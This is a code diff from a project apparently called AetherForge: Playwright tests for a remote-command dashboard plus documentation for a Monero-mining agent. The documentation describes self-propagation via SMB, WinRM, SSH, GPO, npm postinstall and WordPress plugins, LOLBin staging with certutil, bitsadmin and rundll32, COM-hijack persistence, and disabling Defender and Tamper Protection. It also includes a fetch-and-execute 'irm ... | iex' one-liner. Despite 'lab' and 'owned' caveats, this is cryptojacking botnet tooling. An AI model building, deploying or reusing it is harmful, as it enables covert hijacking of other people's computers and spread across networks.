return api.NormalizeServiceDeployAllowlist(out)
|
||||
}
|
||||
|
||||
71
server/web/e2e/crucible-bulk.spec.ts
Normal file
71
server/web/e2e/crucible-bulk.spec.ts
Normal file
@@ -0,0 +1,71 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
||||
import {
|
||||
connectStubAgent,
|
||||
E2E_STUB_AGENT_HOSTNAME,
|
||||
E2E_STUB_AGENT_ID,
|
||||
} from './stub-agent';
|
||||
|
||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
|
||||
test.describe('Crucible bulk command', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
try {
|
||||
const res = await request.get('/api/v1/health', { timeout: 5_000 });
|
||||
serverReady = res.ok();
|
||||
} catch {
|
||||
serverReady = false;
|
||||
}
|
||||
if (!serverReady) return;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||
// Allow agent_online + DB upsert to settle before UI tests.
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!serverReady,
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(
|
||||
page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
|
||||
).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
|
||||
const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
|
||||
await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
|
||||
await card.click();
|
||||
await expect(page.getByText(/1 selected/)).toBeVisible();
|
||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
||||
|
||||
const bulkRequest = page.waitForRequest(
|
||||
(req) =>
|
||||
req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
|
||||
);
|
||||
|
||||
await page
|
||||
.locator('.crucible-actions-card')
|
||||
.getByRole('button', { name: 'Pause', exact: true })
|
||||
.click();
|
||||
|
||||
const request = await bulkRequest;
|
||||
expect(request.postDataJSON()).toEqual({
|
||||
agent_ids: [E2E_STUB_AGENT_ID],
|
||||
action: 'pause',
|
||||
});
|
||||
});
|
||||
});
|
||||
70
server/web/e2e/crucible-command.spec.ts
Normal file
70
server/web/e2e/crucible-command.spec.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { fetchFleetSecret, loginToDashboard } from './fixtures';
|
||||
import {
|
||||
connectStubAgent,
|
||||
E2E_STUB_AGENT_HOSTNAME,
|
||||
E2E_WHOAMI_RESPONSE,
|
||||
} from './stub-agent';
|
||||
|
||||
const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
|
||||
|
||||
let serverReady = false;
|
||||
let disconnectStub: (() => void) | null = null;
|
||||
|
||||
test.describe('Crucible remote command', () => {
|
||||
test.beforeAll(async ({ request }) => {
|
||||
try {
|
||||
const res = await request.get('/api/v1/health');
|
||||
serverReady = res.ok();
|
||||
} catch {
|
||||
serverReady = false;
|
||||
}
|
||||
if (!serverReady) return;
|
||||
|
||||
const fleetSecret = await fetchFleetSecret(request);
|
||||
disconnectStub = await connectStubAgent(baseURL, fleetSecret);
|
||||
// Allow agent_online + DB upsert to settle before UI tests.
|
||||
await new Promise((r) => setTimeout(r, 500));
|
||||
});
|
||||
|
||||
test.afterAll(() => {
|
||||
disconnectStub?.();
|
||||
disconnectStub = null;
|
||||
});
|
||||
|
||||
test.beforeEach(async ({ page }) => {
|
||||
test.skip(
|
||||
!serverReady,
|
||||
'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
|
||||
);
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('whoami on selected online node shows terminal output', async ({ page }) => {
|
||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||
await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
|
||||
|
||||
await page.getByRole('button', { name: 'whoami' }).click();
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
|
||||
test('exec echo via master terminal shows output', async ({ page }) => {
|
||||
await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
|
||||
await page.getByRole('button', { name: 'CMD', exact: true }).click();
|
||||
|
||||
const input = page.locator('.crucible-term-input');
|
||||
await expect(input).toBeEnabled();
|
||||
await input.fill('echo crucible-e2e-ping');
|
||||
await page.getByRole('button', { name: 'SEND' }).click();
|
||||
|
||||
const terminal = page.locator('.crucible-terminal');
|
||||
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,4 @@
|
||||
import { expect, type Page } from '@playwright/test';
|
||||
import { expect, type APIRequestContext, type Page } from '@playwright/test';
|
||||
|
||||
/** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
|
||||
export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
|
||||
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
|
||||
/** Seed this into the server data dir as users.json before first start (see tests/README.md). */
|
||||
export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
|
||||
|
||||
export function e2eAuthHeaders(): Record<string, string> {
|
||||
const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
|
||||
return {
|
||||
Authorization: `Basic ${token}`,
|
||||
'X-AetherForge-Client': 'dashboard',
|
||||
};
|
||||
}
|
||||
|
||||
/** Reads fleet_secret from live server config (generated on first server start). */
|
||||
export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
|
||||
const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
|
||||
if (!res.ok()) {
|
||||
throw new Error(`config fetch failed: ${res.status()}`);
|
||||
}
|
||||
const body = (await res.json()) as { server?: { fleet_secret?: string } };
|
||||
return body.server?.fleet_secret ?? '';
|
||||
}
|
||||
|
||||
export async function loginToDashboard(page: Page): Promise<void> {
|
||||
await page.goto('/');
|
||||
await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });
|
||||
|
||||
@@ -12,10 +12,15 @@ test.describe('Page smoke', () => {
|
||||
await expect(page.getByText('Machine Roster')).toBeVisible();
|
||||
});
|
||||
|
||||
test('Agents renders Fleet Roster', async ({ page }) => {
|
||||
await page.getByRole('link', { name: /Fleet Roster/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/NODES/i)).toBeVisible();
|
||||
test('Crucible renders node roster', async ({ page }) => {
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/NODE ROSTER/i)).toBeVisible();
|
||||
});
|
||||
|
||||
test('/agents redirects to Crucible', async ({ page }) => {
|
||||
await page.goto('/agents');
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
});
|
||||
|
||||
test('Settings renders Calibrate', async ({ page }) => {
|
||||
|
||||
@@ -27,7 +27,6 @@ const OFFLINE_AGENT = {
|
||||
|
||||
test.describe('Remote actions UI', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
|
||||
await page.addInitScript((agent) => {
|
||||
const RealWS = WebSocket;
|
||||
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
|
||||
@@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => {
|
||||
}
|
||||
await route.fulfill({ json: [OFFLINE_AGENT] });
|
||||
});
|
||||
await page.route('**/api/v1/agents/*/stats*', async (route) => {
|
||||
await route.fulfill({ json: [] });
|
||||
});
|
||||
await page.route('**/api/v1/builds', async (route) => {
|
||||
await route.fulfill({ json: [] });
|
||||
});
|
||||
@@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => {
|
||||
});
|
||||
});
|
||||
await loginToDashboard(page);
|
||||
await page.getByRole('link', { name: /Fleet Roster/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
|
||||
await page.getByRole('link', { name: /Crucible/i }).click();
|
||||
await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
|
||||
});
|
||||
|
||||
test('detail panel disables remote actions for offline agent', async ({ page }) => {
|
||||
test('mining ops disabled when only offline agent selected', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
const detail = page.locator('.agent-detail');
|
||||
await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
|
||||
await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
|
||||
const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
|
||||
await expect(pauseBtn).toBeDisabled();
|
||||
await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
|
||||
});
|
||||
|
||||
test('compact row remote actions disabled when offline', async ({ page }) => {
|
||||
test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
|
||||
await page.getByText('Offline Node').click();
|
||||
const compact = page.locator('.agent-list-item.expanded');
|
||||
await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
|
||||
await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
|
||||
});
|
||||
});
|
||||
|
||||
108
server/web/e2e/stub-agent.ts
Normal file
108
server/web/e2e/stub-agent.ts
Normal file
@@ -0,0 +1,108 @@
|
||||
/**
|
||||
* Minimal WebSocket agent for Playwright E2E against a live miner-server.
|
||||
* Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
|
||||
*/
|
||||
|
||||
export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
|
||||
export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
|
||||
export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
|
||||
|
||||
type HubMessage = {
|
||||
type: string;
|
||||
payload: string | Record<string, unknown>;
|
||||
};
|
||||
|
||||
function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
|
||||
if (typeof payload === 'string') {
|
||||
return JSON.parse(payload) as Record<string, unknown>;
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
function wsAgentUrl(baseUrl: string): string {
|
||||
const trimmed = baseUrl.replace(/\/$/, '');
|
||||
return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
|
||||
}
|
||||
|
||||
function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
|
||||
ws.send(JSON.stringify({ type, payload }));
|
||||
}
|
||||
|
||||
function replyCommand(ws: WebSocket, action: string, command: string): void {
|
||||
let message = 'e2e-stub-ok';
|
||||
if (action === 'resume') {
|
||||
message = 'mining resumed';
|
||||
} else if (command.trim().toLowerCase() === 'whoami') {
|
||||
message = E2E_WHOAMI_RESPONSE;
|
||||
} else if (command.trim().toLowerCase().startsWith('echo ')) {
|
||||
message = command.trim().slice(5);
|
||||
}
|
||||
send(ws, 'command_result', { action, success: true, message });
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect a stub agent that answers exec/powershell commands on the live server.
|
||||
* Returns a cleanup function that closes the socket.
|
||||
*/
|
||||
export async function connectStubAgent(
|
||||
baseUrl: string,
|
||||
fleetSecret = '',
|
||||
): Promise<() => void> {
|
||||
const ws = new WebSocket(wsAgentUrl(baseUrl));
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
|
||||
ws.addEventListener('open', () => {
|
||||
clearTimeout(timer);
|
||||
resolve();
|
||||
}, { once: true });
|
||||
ws.addEventListener('error', () => {
|
||||
clearTimeout(timer);
|
||||
reject(new Error('stub agent ws connection failed'));
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
send(ws, 'auth', {
|
||||
agent_id: E2E_STUB_AGENT_ID,
|
||||
fleet_secret: fleetSecret,
|
||||
hostname: E2E_STUB_AGENT_HOSTNAME,
|
||||
version: '1.0.0-e2e',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
});
|
||||
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
|
||||
ws.addEventListener('message', (ev) => {
|
||||
const msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
if (msg.type !== 'auth_response') return;
|
||||
clearTimeout(timer);
|
||||
const body = parsePayload(msg.payload);
|
||||
if (body.success !== true) {
|
||||
reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
|
||||
return;
|
||||
}
|
||||
resolve();
|
||||
}, { once: true });
|
||||
});
|
||||
|
||||
ws.addEventListener('message', (ev) => {
|
||||
let msg: HubMessage;
|
||||
try {
|
||||
msg = JSON.parse(String(ev.data)) as HubMessage;
|
||||
} catch {
|
||||
return;
|
||||
}
|
||||
if (msg.type !== 'command') return;
|
||||
const payload = parsePayload(msg.payload);
|
||||
const action = String(payload.action ?? '');
|
||||
const command = String(payload.command ?? '');
|
||||
replyCommand(ws, action, command);
|
||||
});
|
||||
|
||||
return () => {
|
||||
ws.close();
|
||||
};
|
||||
}
|
||||
@@ -26,9 +26,13 @@
|
||||
<li><a href="#fusion-media">Fusion media</a></li>
|
||||
<li><a href="#usb">USB</a></li>
|
||||
<li><a href="#lan">LAN kindling</a></li>
|
||||
<li><a href="#winrm-bootstrap">WinRM bootstrap</a></li>
|
||||
<li><a href="#linux-lotl">Linux LOTL</a></li>
|
||||
<li><a href="#enterprise-gpo">GPO / Intune</a></li>
|
||||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||
<li><a href="#social-funnel">Social funnel</a></li>
|
||||
<li><a href="#lotl-onion">LOTL Onion</a></li>
|
||||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
@@ -54,9 +58,13 @@
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="winrm-bootstrap" aria-selected="false">WinRM</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="linux-lotl" aria-selected="false">Linux LOTL</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="enterprise-gpo" aria-selected="false">GPO/Intune</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lotl-onion" aria-selected="false">LOTL Onion</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||
</div>
|
||||
|
||||
@@ -230,10 +238,68 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||
<li><strong>UNC spread (LOTL):</strong> <code>spread_smb_unc</code> — <code>sc.exe \\host create/start</code> with <code>binPath=</code> on a Forge output UNC (<code>\\forge\pathforge$\worker.exe</code>). Pure LOLBins: <code>sc.exe</code>, <code>net.exe</code>. Path Tracer: <code>POST /api/v1/pathtrace/spread</code> dispatches on the egress hop.</li>
|
||||
<li><strong>Staging chain (LOTL):</strong> <code>stage_fetch</code> — download chunks via <code>curl.exe</code> or <code>bitsadmin</code>, <code>certutil -decode</code>, verify SHA256 from server, launch via <code>rundll32</code> or exe. Staging paths use the same traversal hygiene as upload/download.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||
</div>
|
||||
|
||||
<!-- WinRM bootstrap -->
|
||||
<div class="spread-panel" data-spread-panel="winrm-bootstrap" id="winrm-bootstrap" hidden>
|
||||
<h3>WinRM bootstrap — encoded registration</h3>
|
||||
<p><span class="wiki-status working">Working</span> Export from Crucible → Spread Templates or <code>POST /api/v1/builder/spread-template-export</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Owned/lab Windows hosts with remoting enabled or rights to run <code>Enable-PSRemoting</code></li>
|
||||
<li>Patient zero with <code>auto_spread</code> or <code>winrm_spread</code> forge flag for lateral encoded bootstrap</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Template runs <code>Enable-PSRemoting</code> + base64-encoded bootstrap that fetches <code>/get</code> with <code>?pin=</code> / <code>?c=</code>.</li>
|
||||
<li>Agent starts with <code>--spread-install --defer-mining</code> — mining begins only after <code>mining_diagnostics</code> passes on C2.</li>
|
||||
<li>Optional COM hijack under benign CLSID — <strong>default off</strong>; enable only on owned machines via export checkbox.</li>
|
||||
<li>Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.</li>
|
||||
</ol>
|
||||
<p>API body: <code>{ "template": "winrm", "com_hijack": false }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- Linux LOTL -->
|
||||
<div class="spread-panel" data-spread-panel="linux-lotl" id="linux-lotl" hidden>
|
||||
<h3>Linux LOTL — systemd-run & crontab</h3>
|
||||
<p><span class="wiki-status working">Working</span> SSH lateral spread + LOTL persistence options.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Passwordless SSH keys for lateral targets (<code>BatchMode=yes</code>)</li>
|
||||
<li>Forge <code>linux_lotl_mode</code>: <code>systemd_run_user</code>, <code>crontab</code>, or <code>both</code></li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><code>autospread_unix.go</code> SCP + SSH with <code>--spread-install --defer-mining</code>.</li>
|
||||
<li>Template <code>lotl-bootstrap.sh</code>: curl <code>/get?os=linux</code>, optional <code>systemd-run --user</code> and/or crontab <code>@reboot</code>.</li>
|
||||
<li>When no CUDA: fallback chain adds <code>linux_pyopencl</code> tier via <code>python3 -c import pyopencl</code> probe before <code>stratum_direct</code>.</li>
|
||||
</ol>
|
||||
<p>Export: <code>{ "template": "linux-lotl", "lotl_mode": "both" }</code></p>
|
||||
</div>
|
||||
|
||||
<!-- GPO / Intune -->
|
||||
<div class="spread-panel" data-spread-panel="enterprise-gpo" id="enterprise-gpo" hidden>
|
||||
<h3>GPO / Intune enterprise spread</h3>
|
||||
<p><span class="wiki-status working">Working</span> Startup scripts pull agent binary — <strong>mining policy stays server-side</strong>, not in the GPO/Intune blob.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>AD GPO edit rights or Intune script assignment on owned tenant</li>
|
||||
<li>Reachable command deck URL from domain endpoints</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li><strong>GPO:</strong> Computer Configuration → Scripts → Startup → <code>gpo-startup.ps1</code> (irm install.ps1 or fetch worker).</li>
|
||||
<li><strong>Intune:</strong> Assign <code>intune-startup.ps1</code> as proactive remediation / platform script.</li>
|
||||
<li>Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.</li>
|
||||
<li><code>AETHER_DEFER_MINING=1</code> / <code>--defer-mining</code> until diagnostics pass.</li>
|
||||
</ol>
|
||||
<p>Export templates: <code>gpo</code> and <code>intune</code> via spread-template-export. Crucible → Spread tab → Spread Templates.</p>
|
||||
</div>
|
||||
|
||||
<!-- WordPress -->
|
||||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||
@@ -306,6 +372,42 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||
</div>
|
||||
|
||||
<!-- LOTL Onion -->
|
||||
<div class="spread-panel" data-spread-panel="lotl-onion" id="lotl-onion" hidden>
|
||||
<h3>LOTL Onion — native-tool spread tier chain</h3>
|
||||
<p>
|
||||
<span class="wiki-status working">Working</span>
|
||||
Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
|
||||
no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
|
||||
</p>
|
||||
<h4>Default tier order (docker → GPO)</h4>
|
||||
<p class="form-hint">
|
||||
Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
|
||||
<code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
|
||||
</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Tier</th><th>One-line</th></tr></thead>
|
||||
<tbody>
|
||||
<tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
|
||||
<tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
|
||||
<tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>
|
||||
<tr id="lotl-tier-dotnet"><td><strong>dotnet</strong></td><td>dotnet tool-run bootstrap — no standalone payload exe</td></tr>
|
||||
<tr id="lotl-tier-bits_curl"><td><strong>bits/curl</strong></td><td>BITS transfer or curl|bash to <code>/install.ps1</code> — fileless fetch</td></tr>
|
||||
<tr id="lotl-tier-smb"><td><strong>smb</strong></td><td>admin$ / C$ copy + SCM — classic lateral on open 445</td></tr>
|
||||
<tr id="lotl-tier-winrm"><td><strong>winrm</strong></td><td>Opportunistic PS remoting when 5985/5986 responds</td></tr>
|
||||
<tr id="lotl-tier-linux"><td><strong>linux</strong></td><td>SSH lateral on Unix agents — same wallet, no extra drop</td></tr>
|
||||
<tr id="lotl-tier-gpo"><td><strong>gpo</strong></td><td>Domain startup/logon script push — operator-owned AD only</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<h4>Forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Forge → Operation mode → <strong>LOTL Onion</strong> (or enable <code>lotl_onion_enabled</code> in Advanced).</li>
|
||||
<li>Set <strong>XMR Wallet Address</strong> — same field as every other preset; payout goes here.</li>
|
||||
<li>Forge once; tier order updates via server config when policy-from-server is on.</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/forge">Open Forge →</a>
|
||||
</div>
|
||||
|
||||
<!-- Third-party -->
|
||||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||
<h3>Third-party platforms & gaps</h3>
|
||||
|
||||
@@ -110,6 +110,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
|
||||
|
||||
---
|
||||
|
||||
## LOTL staging & LAN spread (agent commands)
|
||||
|
||||
| Technique | LOLBins | AetherForge mapping |
|
||||
|-----------|---------|---------------------|
|
||||
| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). |
|
||||
| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. |
|
||||
|
||||
---
|
||||
|
||||
## Key References
|
||||
|
||||
- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
|
||||
|
||||
@@ -42,6 +42,8 @@
|
||||
<li><a href="#path-tracer">Path Tracer</a></li>
|
||||
<li><a href="#agent">Agent Reference</a></li>
|
||||
<li><a href="#mining">Mining</a></li>
|
||||
<li><a href="#av-safe">AV-Safe Mining</a></li>
|
||||
<li><a href="#container-mining">Container Mining</a></li>
|
||||
<li><a href="#platform-matrix">Platform Matrix</a></li>
|
||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||
<li><a href="#security-auth">Security</a></li>
|
||||
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||
</section>
|
||||
|
||||
<section id="av-safe">
|
||||
<h2>AV-Safe Mining — Default Strategy</h2>
|
||||
<p>
|
||||
New forges default to <strong>in-process RandomX</strong> (<code>miner_execution=inprocess</code>).
|
||||
The agent hashes Monero inside the Go binary via <code>go-randomx</code> — no XMRig, no child
|
||||
<code>.exe</code> download. Use the Forge <strong>AV-Safe</strong> operation chip or preset for
|
||||
CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
|
||||
</p>
|
||||
|
||||
<h3>Why turning Defender "off" often does nothing</h3>
|
||||
<ul>
|
||||
<li><strong>Real-time protection</strong> (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.</li>
|
||||
<li><strong>Tamper Protection</strong> — blocks <code>Set-MpPreference</code>, registry disables, and agent <code>SilentAVExclusion</code> without admin + temporary tamper off.</li>
|
||||
<li><strong>Cloud-delivered protection</strong> — uploads unknown binaries; garbled/obfuscated agents score higher.</li>
|
||||
<li><strong>Controlled folder access</strong> — blocks writes to Documents/Desktop even when RTP is "off".</li>
|
||||
<li><strong>Behavioral / AMSI</strong> — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.</li>
|
||||
<li><strong>Third-party AV</strong> — McAfee, Norton, etc. ignore Windows Security UI entirely.</li>
|
||||
</ul>
|
||||
|
||||
<h3>Windows operator checklist</h3>
|
||||
<ol>
|
||||
<li>Forge with <strong>AV-Safe</strong> or <strong>Miner Execution → In-process RandomX</strong>.</li>
|
||||
<li>Calibrate → <strong>Windows Defender Exclusions</strong> → copy/download <code>.ps1</code> → run elevated on each worker.</li>
|
||||
<li>Windows Security → Virus & threat protection → Manage settings → turn off <strong>Tamper Protection</strong> briefly while applying exclusions.</li>
|
||||
<li>Add path exclusion for install dir (default under <code>%LOCALAPPDATA%\CryptoMiner\</code>) and process exclusion for forged <code>.exe</code> name.</li>
|
||||
<li>Disable or allowlist <strong>Controlled folder access</strong> if the agent cannot write its install tree.</li>
|
||||
<li>Crucible → <strong>Mining Diagnostics</strong> on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.</li>
|
||||
<li>For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.</li>
|
||||
</ol>
|
||||
|
||||
<h3>Honest limits</h3>
|
||||
<p>
|
||||
No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
|
||||
<strong>in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU</strong>.
|
||||
Container mode and remote <code>defender_off</code> are optional layers, not guarantees.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section id="container-mining">
|
||||
<h2>Container Mining — Optional Isolation</h2>
|
||||
<p>
|
||||
Forge can bake <code>miner_execution=auto</code> or <code>container</code>. On agent start the supervisor
|
||||
